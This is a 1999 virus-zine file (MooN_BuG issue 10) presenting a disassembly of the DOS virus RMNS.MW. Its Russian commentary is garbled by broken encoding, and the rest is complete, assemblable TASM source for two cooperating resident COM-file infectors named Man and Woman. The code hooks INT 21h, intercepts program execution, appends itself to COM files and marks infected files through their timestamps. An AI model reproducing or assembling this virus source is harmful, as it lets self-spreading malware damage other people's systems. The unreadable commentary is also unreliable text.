[TulaAnti&ViralClub] PRESENTS ... MooN_BuG, Issue 10, Apr 1999 file 012 RMNS.MW DISASM [C] Yanush Milovski 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 맆遜첓쭬エ Л� 栒� �ⅳ젪�� � �ⅹ�� ⅳÞ飡´���� � 聲��� p�ㄵ "ㄲ承�ギ�" ˘p信� RMNS.MW (룼 か졹歲十첓與� 뒥召쩺稅�．). 궓p信 將�� �첓쭬メ� ⓤか蹟ⓥ�レ�� ぎカⅹ與���臾�, 譽� ¡�↓��-獸 젩貰ヮ狩� �� ��Д�젷� �с 曄pⅶ �ⅹ�獸p�� 줽�э ��캙飡� ぎ Л� � p丞�. 룼細��p�� � 췅 �ⅲ� - �①ⅲ� �貰‥��� ��¡． Œ� pⅱ�ヮ與����．, 若舜 Ħο �狩�歲收レ�� 췴ªÞ젷彛�. 궓p信 貰飡�ⓥ �� ㄲ愼 �ⅶ젪ⓤº音 pⅶĦ��瞬� �졹收�: Man � Woman. 뢱①�� αエ pⅶĦ��狩� 獸レぎ �ㄽ� �� �졹收�, 獸 p졹칛�飡p젺���� ˘p信� �ⅱ�㎚�┃�. 끷エ ┘ pⅶĦ��狩臾� �첓╉恂� �‥ �졹殊, 獸 쩆レ�ⅸ蜈� p젳Л�┘��� 칛�ⓤ若ㄸ� � �↓�� ˘ㄵ �� 笹ⅳ莘耀� 悚�Д: 렊p젩�洵Ø int 21h �졹殊 Man �洙p猶젰� �젵�-┘p手� 췅 쭬�ⓤ�, �誘�キ畑� �αぎレぎ 칛�´p�� � �留쥯β 俄丞與� 4BBEh 21 칛쩺猶젺⑨, 收� �젹臾 �쩺ⅳ젪좑 承p젪ゥ��� 췅 �죖젩�洵Ø �졹殊 Woman. 뢱①�� � BX �쩺ⅳ젰恂� file handle �洙p淫�． �젵쳽, � � CX ㄻÞ� �졹殊 Man. 뿞飡� Woman 拾� 貰■手���� � �誘�キ畑� 쭬p젲���� �洙p淫�． �젵쳽 �ㄽ�� �� �졹收� ˘p信�(Man Œ� Woman), � 쭬收� �쩺ⅳ젰� 承p젪ゥ��� � �죖젩�洵Ø �졹殊 Man, � 拾� 쭬收� 承p젪ゥ��� �쩺ⅳ젰恂� 췅 췴ªÞ젷彛硫 �죖젩�洵Ø 21 칛쩺猶젺⑨. 궙�↓��-獸 ㏇� 칛�飡�. 뫊��pⓥ� ㄸ쭬細�, ぎД��쟰�ⅱ Ж�º僧, Æ� ˘p信 췅�ⓤ젺 ╉洙� 姉�Д��쟰��. 꽑, め�졻�, ��笹� pⅹ�НŒ湞Ŀ 쩆��音 ⓤ若ㄽØ�� �ㄸ� � �ㄽ�с ˘p信 RMNS.MW �� �� ��ャ葉收. 앪� �� ㏇ⅸ ˘ㄸМ飡� 聲筌젺�� � 收�, 譽� � � 젪獸p 쩆���． ˘p信� ⓤ��レ㎜쥯エ p젳�瑜 졹醒Аゥp�. AVP 췅 쩆��瑜 ˘p信� ¡�↓� Мョⓥ, � Dr.Web 챥①ⓥ COM.TSR. H� 將� º���� RMNS.MW, 칛�飡� �漱①좐蟯⒰� �� 췴ªÞ젷彛�． 췅 캙p� �p�ø� ��칛Þ與�쯄レ�音 줎⒱. ;============================================================================ ; 궓p信 RMNS.MW.Man.297 ; 뒶НŒ쮘�쥯筍 TASM � pⅵº� �ㄽ�． 칛�若쩆 ;============================================================================ .model tiny .code org 100h start: jmp vir_start vir_start: call vir vir: pop si sub si,offset vir mov di,offset oldbytes add di,si mov al,byte ptr [di] mov 1 ptr cs:[0100h],al inc di mov ax,word ptr [di] mov 2 ptr cs:[0101h],ax mov ax,4BBCh int 21h cmp ax,0BBB4h jnz stay_tsr jmp ret_vict stay_tsr: mov ax,cs dec ax mov es,ax mov al,es:[0000] cmp al,5Ah jz last_block push cs pop es jmp ret_vict last_block: mov ax,es:[0003] sub ax,(kon-vir_start)/16+1+10+5 mov es:[0003],ax mov bx,es add bx,ax mov es,bx mov cx,kon-vir_start mov di,offset vir_start mov bp,si add si,offset vir_start rep movsb mov si,bp mov bp,es mov ax,3521h int 21h mov ax,es mov es,bp mov es:[old21s],ax mov word ptr es:[old21o],bx mov ax,2521h push es pop ds mov dx,offset new21 int 21h mov ax,cs mov es,ax mov ds,ax ret_vict: mov ax,0100h jmp ax oldbytes db 0cdh,20h,0 newbytes db 0e9h dw ? new21: pushf cmp ah,4Bh jz next_check jmp ex_handler next_check: cmp al,0BCh ; 뢱�´p첓 췅 췅エ葉� ˘p信� � 캙э殊 jz we_are_here jmp @1 we_are_here: mov ax,0BBB4h ; 궓p信 拾� pⅶĦ��收�. popf iret @1: cmp al,04 jnb ex_handler ; αエ al>=04 獸 �硫殊 �� �죖젩�洵Ø� jmp infect pre_ex_handler: pop ds pop es pop dx pop cx pop bx pop ax ex_handler: popf db 0EAh old21o dw ? old21s dw ? ; 칛�璵ㅳp� 쭬p젲��⑨. infect: push ax push bx push cx push dx push es push ds mov ax,3D02h int 21h jnb @2 ; αエ �鼇―� 獸 �硫殊. jmp pre_ex_handler @2: mov bx,ax mov ax,cs mov es,ax mov ds,ax mov ah,3Fh mov cx,0003 mov dx,offset oldbytes int 21h cmp ax,0003 jz @3 jmp ex_infect @3: mov di,dx mov al,byte ptr [di] ;뢱�´p첓 췅 꿟E �� �쩺¡с 歲Б�ャ cmp al,4Dh jz @4 mov ax,5700h int 21h cmp cx,00FFh ;뇿p젲�� エ 拾� �젵� jne @5 cmp dx,00FFh jne @5 @4: jmp ex_infect @5: mov ax,4BBEh mov cx,kon-vir_start ; 귣㎜� �죖젩�洵Ø� ˘p信� Woman int 21h ; � CX ㄻÞ� ˘p信� Man ; � BX file handle ex_infect: mov ah,3Eh int 21h jmp pre_ex_handler db ' R.M.N.S Test virus R.M.N.S MW Man ' kon: end start ;============================================================================ ;============================================================================ ; 궓p信 RMNS.MW.Woman.353 ; 뒶НŒ쮘�쥯筍 TASM � pⅵº� �ㄽ�． 칛�若쩆 ;============================================================================ .model tiny .code org 100h start: jmp start_vir start_vir: call vir vir: pop si sub si,offset vir mov di,offset oldbytes add di,si mov al,byte ptr [di] mov 1 ptr cs:[0100h],al inc di mov ax,word ptr [di] mov 2 ptr cs:[0101h],ax mov ax,4BBDh int 21h cmp ax,0BBB4h jnz stay_tsr jmp ret_vict stay_tsr: mov ax,cs dec ax mov es,ax mov al,es:[0000] cmp al,5Ah jz last_block push cs pop es jmp ret_vict last_block: mov ax,es:[0003] sub ax,(kon-start_vir)/16+1+10+5 mov es:[0003],ax mov bx,es add bx,ax mov es,bx mov cx,(kon-start_vir) mov di,offset start_vir mov bp,si add si,offset start_vir rep movsb mov si,bp mov bp,es mov ax,3521h int 21h mov ax,es mov es,bp mov es:[old21s],ax mov word ptr es:[old21o],bx mov ax,2521h push es pop ds mov dx,offset new21 int 21h mov ax,cs mov es,ax mov ds,ax ret_vict: mov ax,0100h jmp ax oldbytes db 0cdh,20h,0 newbytes db 0E9h newbaddr dw ? new21: pushf cmp ah,4Bh jz next_check jmp ex_handler next_check: cmp al,0BDh ; 뢱�´p첓 췅 췅エ葉� ˘p信� � 캙э殊. jz we_are_here cmp al,0BEh ; 뢱�´p첓 췅 췅エ葉� ˘p信� Man � 캙э殊. jz pre_infect ; jmp ex_handler ; we_are_here: mov ax,0BBB4h ; 궓p信 拾� pⅶĦ��收� popf iret pre_infect: jmp infect pop ds ; pop es ; pop dx ; pop cx ; Hⅷ召�レ㎯�щ� ぎ� (�鼇―� 젪獸p�) pop bx ; pop ax ; ex_handler: popf db 0EAh old21o dw ? old21s dw ? save_lngth dw ? infect: push ax ; push bx ; push cx ; push dx ; 뫌�p젺Œ� pⅲⓤ�p� push es ; push ds ; push cs ; pop ds ; mov word ptr [save_lngth],cx ; 뫌�p젺Œ� ㄻÞ� ˘p信� MAN mov ax,4200h xor cx,cx xor dx,dx int 21h mov ah,3Fh mov cx,0003h mov dx,offset oldbytes int 21h mov ax,4202h xor cx,cx mov dx,cx int 21h cmp dx,0000 jz chk_size_com ;뢱�´p첓 췅 �쩺ⅷД��쥯�硫 � COM, EXE ;췅ㄾ 稅젳졻� �� 100% p젩��좐�좑. jmp ex_infect chk_size_com: cmp ax,65535-(kon-start) jb continue jmp ex_infect continue: sub ax,3 mov di,offset newbaddr mov word ptr [di],ax mov ax,0000 mov ds,ax mov al,1 ptr ds:[046Ch] ; 귣〃p젰� 첓ぎ� Мㄸ十첓與ⅸ ▲ㄵ� ; 쭬p젲졻� �젵� (Man/Woman) test al,01 jz write_smbd push es mov cx,word ptr cs:[save_lngth] ; 뙫ㄸ十첓與ⅸ Man jmp write write_smbd: push cs mov cx,kon-start_vir ; 뙫ㄸ十첓與ⅸ Woman write: pop ds mov ah,40h mov dx,offset start_vir int 21h push cs pop ds mov ax,4200h xor dx,dx mov cx,dx int 21h mov ah,40h mov cx,0003 mov dx,offset newbytes int 21h mov ax,5701h mov cx,00FFh ; 칛�㎛젶 쭬p젲����飡� �젵쳽 mov dx,cx int 21h ex_infect: pop ds pop es pop dx pop cx pop bx pop ax popf iret db ' R.M.N.S Test virus R.M.N.S MW Woman ' kon: end start ;============================================================================ (C) Yanush Milovski